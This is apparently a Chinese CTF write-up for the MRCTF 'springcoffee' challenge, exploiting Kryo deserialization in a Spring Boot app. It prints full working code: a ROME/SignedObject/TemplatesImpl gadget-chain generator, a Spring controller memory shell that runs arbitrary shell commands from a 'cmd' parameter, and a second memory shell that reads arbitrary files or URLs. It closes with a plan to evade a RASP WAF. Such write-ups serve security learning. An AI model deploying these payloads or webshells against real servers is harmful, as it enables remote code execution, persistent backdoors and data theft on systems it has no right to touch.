MRCTF springcoffe
代码分析
题目给出源码。查看一下有一个kryo的反序列化点。
然后后面的demo路由主要是用来修改kryo反序列化路由的一些配置。
这里自己先写一个最简单的kryo序列化和反序列化查看下效果
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import fun.mrctf.springcoffee.model.Mocha;
import java.io.*;
import java.util.Base64;
public class Test {
static public void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.register(Mocha.class);//注册Mocha类
Mocha mocha = new Mocha();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
Output output = new Output(outputStream);
kryo.writeClassAndObject(output, mocha);
output.close();
String exp = Base64.getEncoder().encodeToString(outputStream.toByteArray());
System.out.println(exp);
ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(exp));
Input input = new Input(bas);
ExtraFlavor flavor = (ExtraFlavor)kryo.readClassAndObject(input);
input.close();
System.out.println(flavor.getName());
}
}
如果没有注册Mocha类就会报错:
这个在反序列化题目的类时候待会也会用到。
因为题目有rome1.7这个和上次比赛的ezchain很像。于是我把上次比赛的代码拿过来用一下。
构造好后发现
这是因为kryo在开始的时候只会注册一些基本类。所以HashMap类他会报错。
题目中只有this.kryo.register(Mocha.class);
怎么办呢?
于是前面出题人给出一个可以修改配置的地方。
先复制一下代码看一下可以调的配置
public void com.esotericsoftware.kryo.Kryo.setRegistrationRequired(boolean)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(java.lang.Class)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(com.esotericsoftware.kryo.SerializerFactory)
public void com.esotericsoftware.kryo.Kryo.setCopyReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setInstantiatorStrategy(org.objenesis.strategy.InstantiatorStrategy)
public void com.esotericsoftware.kryo.Kryo.setWarnUnregisteredClasses(boolean)
public void com.esotericsoftware.kryo.Kryo.setOptimizedGenerics(boolean)
public void com.esotericsoftware.kryo.Kryo.setReferenceResolver(com.esotericsoftware.kryo.ReferenceResolver)
public void com.esotericsoftware.kryo.Kryo.setClassLoader(java.lang.ClassLoader)
public boolean com.esotericsoftware.kryo.Kryo.setReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setAutoReset(boolean)
public void com.esotericsoftware.kryo.Kryo.setMaxDepth(int)
首先是解决注册问题。
https://github.com/EsotericSoftware/kryo/blob/master/README.md#optional-registration
发现是这个选项。进行尝试序列化与反序列化
发现报错Class cannot be created (missing no-arg constructor): com.rometools.rome.feed.impl.EqualsBean
发现我们这个rome链中的这个选项是没有无参构造函数的。于是继续寻找配置
最终发现https://github.com/EsotericSoftware/kryo/blob/master/README.md#instantiatorstrategy
这里修改配置
{
"polish":True,
"RegistrationRequired":False,
"InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy",
}
即可执行任意字节码。
我们选择注册一个内存马。
注入内存马的时候发现之前的脚本不好使。查了一下发现springboot2.6以后RequestMappingInfo的初始化构造发生了一些变化
https://copyfuture.com/blogs-details/202204220252518361#14_ControllerSpringboot_260__299
我使用的内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class SpringControllerMemShell2 extends AbstractTranslet {
public SpringControllerMemShell2() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringControllerMemShell2.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/yang999")
.options(config)
.build();
SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
public SpringControllerMemShell2(String aaa) {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{
"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{
"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}
EXP
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import javassist.*;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.objenesis.strategy.StdInstantiatorStrategy;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;
import javax.xml.transform.Templates;
import java.util.Base64;
public class EXP {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(SpringControllerMemShell2.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean delegate = new ObjectBean(Templates.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> hashmap = makeMap(root,root);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);
ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
EqualsBean root1 = new EqualsBean(ToStringBean.class, item);
HashMap<Object, Object> hashmap1 = makeMap(root1,root1);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
Output output = new Output(outputStream);
kryo.writeClassAndObject(output, hashmap1);
output.close();
String exp = Base64.getEncoder().encodeToString(outputStream.toByteArray());
System.out.println(exp);
ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(exp));
Input input = new Input(bas);
ExtraFlavor flavor = (ExtraFlavor)kryo.readClassAndObject(input);
input.close();
System.out.println(flavor.getName());
// byte[] bytes = byteArrayOutputStream.toByteArray();
// String exp = Base64.getEncoder().encodeToString(bytes);
// System.out.println(exp);
// try {
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
// Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
// System.out.println(hessian2Input.readObject());
// } catch (Exception e) {
// System.out.println(e);
// }
}
}
本地通了。但是远程没通。看公告说有waf
这里写一下读文件的内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
public class FileRead extends AbstractTranslet {
public FileRead() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = FileRead.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/fileread")
.options(config)
.build();
FileRead fileRead = new FileRead("aaa");
mappingHandlerMapping.registerMapping(info, fileRead, method2);
} catch (Exception e) {
}
}
public FileRead(String aaa) {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
PrintWriter writer = response.getWriter();
//exec
try {
String urlContent = "";
final URL url = new URL(request.getParameter("read"));
final BufferedReader in = new BufferedReader(new
InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.write(urlContent);
writer.flush();
writer.close();
} catch (Exception e) {
}
}
public static void main(String[] args) {
}
}
无法直接读flag。里面有jrasp.jar
读取jasp查看做了什么waf。
为了绕过
我们可以直接调用UnixProcess
这个更为底层的类去执行方法